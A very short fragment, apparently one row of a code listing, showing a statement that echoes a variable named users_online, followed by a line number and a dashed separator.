| echo "$users_online"; 31 | --------------------------------------------------------------------------------